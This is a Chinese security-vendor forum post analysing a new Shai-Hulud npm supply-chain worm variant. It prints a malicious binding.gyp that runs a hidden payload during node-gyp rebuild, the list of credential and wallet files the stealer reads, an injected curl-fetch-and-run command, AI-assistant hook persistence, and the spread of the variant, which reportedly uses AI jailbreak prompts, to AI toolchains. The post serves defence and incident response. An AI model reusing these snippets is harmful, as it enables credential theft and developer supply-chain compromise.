-
-
[原创]供应链威胁持续发酵:Shai-Hulud出新变种绕过npm防护窃密
-
发表于: 8小时前 163
-
一、概述
近日,火绒安全实验室在npm供应链安全监测过程中,捕获一例TeamPcp团伙 Mini Shai-Hulud家族后继JavaScript恶意载荷样本。经火绒安全工程师静态比对与行为分析确认,该样本与2026年6月曝光的Mini Shai-Hulud恶意样本为同一家族衍生版本,核心攻击逻辑、窃密传播机制整体未发生改变,属于该团伙持续迭代的供应链攻击产物。
相对已公开Shai-Hulud样本,本版主要差异包括:npm触发方式改变,IDE覆盖范围扩大,新增定时任务持久化机制等。目前,该家族主要通过以下途径实现投毒扩散:一是npm公共仓库依赖投毒,攻击者发布仿冒常用开发工具的恶意包、篡改已有包版本,或利用依赖传递性植入载荷,开发者执行安装命令时即触发执行;二是IDE开发环境定向注入,依托扩大后的IDE适配范围,通过开发插件、项目配置文件等渠道植入执行逻辑,在编码、构建环节静默触发;三是开源项目夹带传播,恶意依赖可被植入GitHub公开项目的依赖配置中,下游用户拉取代码时连带感染,借助开源协作链路实现供应链级扩散。
此类投毒的危害具备可传导性与可持续性:一方面,恶意载荷可直接窃取开发者本地账号凭证、SSH密钥、项目配置及源码片段等敏感信息;另一方面,新增的定时任务机制可保障恶意代码长期驻留,周期性回传数据、更新载荷,形成长效控制;此外,受感染的项目若进行发布、打包,恶意载荷将随依赖链向下游业务系统传导,引发从开发环境到生产环境的连锁污染,波及范围随依赖链路持续扩大。
从现有公开信息和样本行为看,相关威胁尚未结束,已发布的投毒npm版本仍可能存在于lockfile与缓存中,相关投毒版本与持久化机制尚未完全消退,使用 npm与GitHub的开发者宜保持关注并及时自查。
目前,火绒安全产品已经实现对该行为的拦截与查杀。

二、Shai-Hulud蠕虫代际演进与能力迭代分析
Shai-Hulud是TeamPCP团伙主导的持续供应链攻击行动,近一年内历经6—7次迭代,始终围绕“绕过防御、扩大传播、提升窃密、 降低溯源” 四大目标演进。

原型阶段(2025.8):验证AI辅助攻击,无自传播能力 。V1(2025.9):首个npm自繁殖蠕虫,通过窃取长效token实现指数扩散,影响526个包。V2(2025.11):
前移至preinstall触发,引入Bun运行时绕过检测,新增反取证与wiper机制,波及2.5万仓库。V3(2026.4):突破OIDC信任机制,伪造SLSA Level 3证明,利用安全工具自身权限提升攻击质量。V4(2026.4-5):双触发路径对抗npm v12防护,三端持久化联动(本地/CI/系统),攻击面扩展至AI与数据科学生态,同时源码开源并启动赏金计划,转向平台化运营。
Miasma/Hades变种(2026.6-7):针对npm v12禁用install脚本的反制——Miasma引入AI越狱提⽰词与云密钥库主动查询; Hades突破PyPI生态,通过.pth文件实现import-time触发;Miasma v3劫持官方OIDC工作流签发合规SLSA证明,并将触发推迟至require()阶段,完全绕过安装防护。
核心规律:攻击始终由防御规则驱动升级——从绕过脚本检测、运行时检测、信任校验、AI护栏到安装防护,攻击面从CI/CD延伸至本地环境、AI工具链与云密钥管理,商业模式平台化大幅提升了攻击的规模与持续性。
本次样本的核心行为与之前分析的Mini Shai-Hulud(V4)一致:窃取本地与云端凭据、搜索GitHub/npm token、滥用GitHub Actions身份、经npm包与GitHub仓库传播,并在开发者机器上建立持久化; 与7月初的Miasma v3版本的差异主要在于, Miasma v3将触发推迟到了require()阶段,并且默认配置中的凭证窃取和感染模块也被禁用。
三、流程图

四、样本分析
在已公开的npm供应链攻击里,preinstall /postinstall是最常见的入口:在 package.json的scripts里注入安装阶段执行的命令,用户执行npm install时npm会自动调用。典型写法如下:
{
"scripts": {
"preinstall": "node ./malware.js" }
}这类钩子目标明确,安全产品也普遍对scripts 字段做监控,近年来检出率较高。
但是该样本没有依赖上述生命周期脚本,而是在投毒包里写入binding.gyp文件,利用npm对原生模块的自动node-gyp rebuild流程 ,通过gyp的命令执行载荷。
样本中的binding.gyp文件仅有157字节,外形接近普通原生模块配置:
{
"targets": [{
"target_name": "binding",
"sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"] }]
}sources 里表面是在拼一个源文件名 ,实际会先跑 node index.js 。
该样本的载荷为index.js,大小为4.3MB,采用强混淆隐藏逻辑。以下为解混淆前后主函数的部分。
3.1主函数执行流程
环境检测 - > 文件扫描与权限获取 - > 凭据窃取 - > 加密发送 - > 注入与感染

3.2环境检测
环境检测流程:
1.遍历五个环境变量,检查其值是否以特定前缀开头,任意一个命中即判定为蜜罐
2.检查 GITHUB_REPOSITORY 环境变量是否精确匹配已知的安全研究仓库名
3.检测当前工作目录是否在 /tmp/npm-safe/ 下
4.读取 ~/.aws/credentials 文件,若内容包含字符串"FAKE"则判定为蜜罐

以下为常见蜜罐的环境变量的前缀。
对俄语地区进行地区规避。
逐一检查30+个主流CI/CD平台的特征环境变量来判断当前是否运行在持续集成环境中。
样本首次执行时,检测环境变量 IS_DAEMON是否存在,若不存在,则fork出一个完全相同的子进程,并在子进程环境中注入 IS_DAEMON=1防止递归,随后父进程调用process.exit(0)退出。

创建单实例锁,确保系统中同一时刻只有一个恶意进程实例在运行。
3.3文件扫描与权限获取
执行三个扫描器:fileSystemScanner(本地敏感文件扫描)、envVarScanner(环境变量与shell配置扫描)、runnerMemoryScanner(GitHub Actions Runner内存转储),将三者的执行结果以数组形式返回。
fileSystemScanner扫描器获取当前平台的热点路径列表后以并发度2调用readHotspots()读取所有匹配文件,将结果以{ hotspots:{[路径]:内容}}的结构通过基类E的success()方法封装返回。
不同操作系统下扫描的敏感文件如下。
P3 = ["~/.ansible/*", "~/.aws/config", "~/.aws/credentials", "~/.azure/accessTokens.json", "~/.azure/msal_token_cache.*", "~/.bash_history", "~/.cert/nm-openvpn/*", "~/.claude.json", "~/.claude/*", "~/.claude/projects/*", "~/.config/atomic/Local Storage/leveldb/*", "**/config/database.yml", "~/.config/discord/Local Storage/leveldb/*", "~/.config/Element/Local Storage/*", "~/.config/filezilla/recentservers.xml", "~/.config/filezilla/sitemanager.xml", "~/.config/gcloud/access_tokens.db", "~/.config/gcloud/application_default_credentials.json", "~/.config/gcloud/credentials.db", "~/.config/g it/credentials", "~/.config/helm/*", "~/.config/Ledger Live/*", "~/.config/remmina/*", "~/.config/Signal/*", "~/.config/Slack/Cookies", "~/.config/telegram- desktop/*", "~/.config/weechat/irc.conf", "~/.docker/*/config.json", "~/.docker/config.json", "**/.env", ".env", "**/.env.local", "**/.env.production", "/etc/openvpn/*", "/etc/rancher/k3s/k3s.yaml", "/etc/ssh/ssh_host_*_key", "~/.ethereum/keystore/*", "~/.gitconfig", ".git-credentials", "~/.history", "~/.kde4/share/apps/kwallet/*.kw l", "~/.kde/share/apps/kwallet/*.kw l", "~/.ku be/config", "~/.lesshst", "~/.local/share/keyrings/*.keyring", "~/.local/share/keyrings/login.keyring", "~/.local/share/recently- used.x bel", "~/.local/share/TelegramDesktop/tdata/*", "~/.monero/*", "~/.mysql_history", "~/.netrc", "~/.node_repl_history", ".npmrc", "~/.npmrc", "~/.pki/nssdb/*", "~/.psql_history", "~/.purple/accounts.xml", "~/.pypirc", "~/.python_history", "~/.remmina/*", "/root/.docker/config.json", "**/settings.p", "~/.ssh/authorized_keys", "~/.ssh/config", "~/.ssh/id*", "~/.ssh/id_", "~/.ssh/id_dsa", "~/.ssh/id_ecd sa", "~/.ssh/id_ed25519", "~/.ssh/known_hosts", "~/.terraform.d/credentials.tfrc.json", "/var/lib/docker/containers/*/config.v2.json", "~/.vim info", "**/wp- config.php", "~/.yarnrc", "~/.zsh_history"], ZL = ["~/.claude/mcp.json", "~/.config/kwalletd/*.kw l", "~/**/g it/config", "~/.git-credentials", "~/.ssh/keys"], QL = [".claude.json", "~/.config/Exodus/exodus.wallet/*", "**/.git/config", "~/.ssh/id_rsa"], qL = [".env", "config.ini", "%USERPROFILE%\\\\.claude.json", "%USERPROFILE%\\\\.claude\\\\*", "%USERPROFILE%\\\\.claude\\\\projects\\\\*", "%APPDATA%\\\\NordVPN\\\\NordVPN.exe.Config", "%APPDATA%\\\\OpenVPN Connect\\\\profiles\\\\*", "%PROGRAMDATA%\\\\OpenVPN\\\\config\\\\*", "%APPDATA%\\\\ProtonVPN\\\\user.config", "%APPDATA%\\\\CyberGhost\\\\CG6\\\\CyberGhost.dat", "%APPDATA%\\\\Private Internet Access\\\\*.conf", "%APPDATA%\\\\Wind scribe\\\\Wind scribe\\\\*", "C:\\\\Program Files\\\\OpenVPN\\\\config\\\\*.ovpn", "%USERPROFILE%\\\\OpenVPN\\\\config\\\\*.ovpn", "%APPDATA%%EarthVPN\\\\OpenVPN\\\\config\\\\*.ovpn"], Linux = P3 + ZL; OSX = P3 + QL; WIN = qL; UNKNOWN = [];
envVarScanner扫描器首先提取本机已登录的GitHub CLI token,若成功则验证该 token的有效性及权限范围并附加到结果中;接着获取机器名、登录用户名,最后将process.env的完整快照作为environment字段一并收入结果。
runnerMemoryScanner扫描器首先确认当前环境为Linux上的GitHub Actions,再获取内存转储字节,将转储数据传入进行secret格式匹配提取,最终以包含secret键值表、仓库名、工作流名、secret数量和原始字节数的结构体调用success()返回。
3.4凭据收集
该函数预先实例化10个固定Provider,覆盖多云平台API采集、容器/K8s环境、HashiCorp Vault及本地密码管理器等场景。函数返回{providers,dispatched};
前者为完整Provider数组,后者布尔值表⽰是否发现并启用至少一个有效GitHub Token。
3.5加密发送
ScanResultAggregator 将初始扫描与各云Provider流式产出的结果持续写入内存缓冲,并在缓冲达到100KB时触发flush;对缓冲数据进行gzip+AES-256-GCM+RSA混合加密,最后经已建立的sender发出。
加密流程为:将待外传数据JSON序列化并经gzip压缩;随后生成随机32字节AES- 256会话密钥与12字节IV,以AES-256-GCM加密压缩后的明文,附加16字节认证标签;会话密钥使用硬编码在样本中的攻击者RSA-2048公钥以RSA-OAEP加密。
最终输出JSON对象{"envelope":"<base64>","key":"<base64>"} :
envelope解码后为IV(12B)‖密文‖AuthTag(16B),key为RSA加密后的AES密钥。
-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAy/uXzJGGCEF39GtSJk9H 34cWHM9XaRYrvMI0FnDi77ZRt1bMtva4xn/gdYS0koxVYkJBO55qCTNVf5SCxeHx t6qdsF9Ofdh2i/HXqcRLo2M49Pw9wFGZTo15CSAaqj1SNtgjj8UvLXkVkS+Cah0d U5xcdqV/trniKtf5Thu8hq3FGPlR+PIi9JHMedXVuNpp0U6RXeM/8KU++DFysR7U SgBqENN1HATGi9TafjIjO47rs/lSCGJu7zt/68Goi8fij+u5vV/ML7hg28DoiAuF NGfxzxbUNJRcuNildoWOup1E0DcimV93T8it7R+o/nd/XTGj82ncpfGQgirNILn9 xY2glt11LoFw/OikSApZP66IUE4VgoxEx22zW717La3EXcs2UTfo0mEAYi9SMuAw ZLE+XuHV1x5VLkrVNUqs3XME0KKzbSyzoHOd/GPZNYvY5iasl7GdiaMYXEZUouNG ZaQPp0IZ0t5Z0uI+oCre85avpAgcROBo5VxZcwi/WL9l/TXxAGdSjgfKNvCmkWvD JWwYcrWe6sE68Q4G/LeZIHdNBjQ0G9Awkn/5UfIRfpMOPc+usLvhRbUqo37ADG4H mvh9ZgjU3iXfSoCLxWDA7l5Bpvuoob4r6Tg/1DFld2LPboVqqj/ifiaUbjdZLrDf hiLx1mYHyEdCkpwm5U/LSesCAwEAAQ== -----END PUBLIC KEY-----
3.6注入与感染
数据窃取传输阶段完成后,调用buildFollowUpModules()根据扫描结果及是否持有有效GitHub Token,动态生成仓库投毒、CI劫持等后续攻击模块列表。
若未发现有效GitHub PAT/OAuth token,则为每个GitHub Actions短期token实例化仓库投毒模块,向目标仓库写入恶意commit。
IdeHookPersistence函数在用戶home下查找路径名包含claude 、codex 、 gemini 、copilot 、kiro 、opencode且可写的settings.json,将自身Bun.main不加wrap写入~/.config/index.js,从而在开发者每次打开AI助手会话时触发恶意代码。

注入的命令
command -v bun >/dev/null 2>&1 || (curl -fsSL 276K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1N6h3&6Q4x3X3g2K6K9q4)9J5c8X3W2F1M7%4c8S2L8r3I4Q4x3U0k6F1j5Y4y4H3i4K6y4n7i4K6N6o6i4K6t1$3L8X3u0K6M7q4)9K6b7X3u0S2M7$3S2Q4x3U0k6F1j5Y4y4H3i4K6y4n7i4K6t1$3j5h3#2H3i4K6y4n7i4K6t1$3j5h3#2H3i4K6y4n7i4K6t1$3L8X3u0K6M7q4)9K6b7X3g2^5M7r3!0J5N6q4)9J5y4X3&6T1M7%4m8Q4x3@1u0b7b7g2c8t1i4K6y4p5i4K6t1@1d9p5!0y4c8g2)9J5c8W2)9J5k6h3u0#2L8W2)9J5c8X3u0A6L8W2)9K6b7g2)9J5y4q4m8m8g2p5S2Q4x3U0W2Q4x3U0k6F1j5Y4y4H3i4K6y4n7i4K6t1$3j5h3#2H3i4K6y4n7i4K6t1$3j5h3#2H3i4K6y4n7i4K6t1$3L8X3u0K6M7q4)9K6b7X3u0#2L8W2)9J5y4X3&6T1M7%4m8Q4x3@1u0J5N6h3^5`. /home/user/.config/index.js
样本滥用主流AI开发IDE的合法Hook/任务机制实现持久化:在Claude Code、VS Code、Cursor、Gemini等工具的配置中注入SessionStart钩子或打开文件夹自动运行任务 ,开发者日常打开项目或启动AI会话时即静默触发恶意载荷。
PythonMonitorPersistence通过bash安装脚本并注册为systemd用户服务(Linux)或LaunchAgent(macOS),实现开机/定时常驻。
SshWormPropagation收集历史连接过的主机别名,读取payload,用scp将脚本写入远程/tmp/.sshu-setup.js,随后ssh远程执行node/node js运行该脚本。
五、总结说明
综上所述,该攻击行为通过多层混淆隐藏逻辑,在本地与CI双模式下完成凭据收割、RSA混合加密外传、IDE Hook持久化及多向量横向传播;技术复杂度与隐蔽性均处于同类恶意软件前列,用户需从供应链、主机行为与凭据生命周期三个维度协同防护。火绒安全在此提醒广大用户,加强防范与自查:
1、核对项目及CI是否依赖已知涉事scope;关注异常patch版本突增、新增 binding.gyp 、安装日志中的node-gyp rebuild 。
2、若曾安装来源不明或版本异常的npm包,应视同泄露,轮换GitHubPAT/npm/云厂商/Vault等secret,并审查近期token创建的仓库与Actions运行记录。
3、检查本机.claude/ 、.vscode/tasks.json 、.cursor/ 、.gemini/ 及 ~/.config/index.js 、~/.local/share/updater/等是否被非本人写入;是否存在 tmp.0144018410.lock。
4、如使用GitHub账户,需排查陌生公开仓库、异常workflow/commit、Action tag是否被强更。
5、限制OIDC发布权限,审计OIDC_PACKAGES 类变量与npm publish步骤;Runner上注意异常DNS/hosts修改。
6、分辨是否为误报,如GitHub上仅出现fired al azer 等关键词的安全研究/advisory文本,若无 <关键词><b64>.<sig> 签名格式,一般不能作为感染依据。
7、使用安全产品进行全盘扫描查杀,保护开发终端与代码供应链安全。
六、IOC信息
md5 : e04f13d057ee6258df140b20aa6ae77d
公钥 :
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAy/uXzJGGCEF39GtSJk9H34cWHM9XaRYrvMI0FnDi77ZRt1bMtva4xn/gdYS0koxVYkJBO55qCTNVf5SCxeHxt6qdsF9Ofdh2i/HXqcRLo2M49Pw9wFGZTo15CSAaqj1SNtgjj8UvLXkVkS+Cah0dU5xcdqV/trniKtf5Thu8hq3FGPlR+PIi9JHMedXVuNpp0U6RXeM/8KU++DFysR7USgBqENN1HATGi9TafjIjO47rs/lSCGJu7zt/68Goi8fij+u5vV/ML7hg28DoiAuFNGfxzxbUNJRcuNildoWOup1E0DcimV93T8it7R+o/nd/XTGj82ncpfGQgirNILn9xY2glt11LoFw/OikSApZP66IUE4VgoxEx22zW717La3EXcs2UTfo0mEAYi9SMuAwZLE+XuHV1x5VLkrVNUqs3XME0KKzbSyzoHOd/GPZNYvY5iasl7GdiaMYXEZUouNGZaQPp0IZ0t5Z0uI+oCre85avpAgcROBo5VxZcwi/WL9l/TXxAGdSjgfKNvCmkWvDJWwYcrWe6sE68Q4G/LeZIHdNBjQ0G9Awkn/5UfIRfpMOPc+usLvhRbUqo37ADG4Hmvh9ZgjU3iXfSoCLxWDA7l5Bpvuoob4r6Tg/1DFld2LPboVqqj/ifiaUbjdZLrDf hiLx1mYHyEdCkpwm5U/LSesCAwEAAQ==
C2 :
api.github.com/search/commits?q=thebeautifulmarchoftime
api.github.com/search/commits?q=thebeautifulsnadsoftime
api.github.com/search/commits?q=firedalazer
https://<host>:443/v1/api
[招生]科锐逆向工程师培训(2026年7月3日实地,远程教学同时开班, 第56期)!













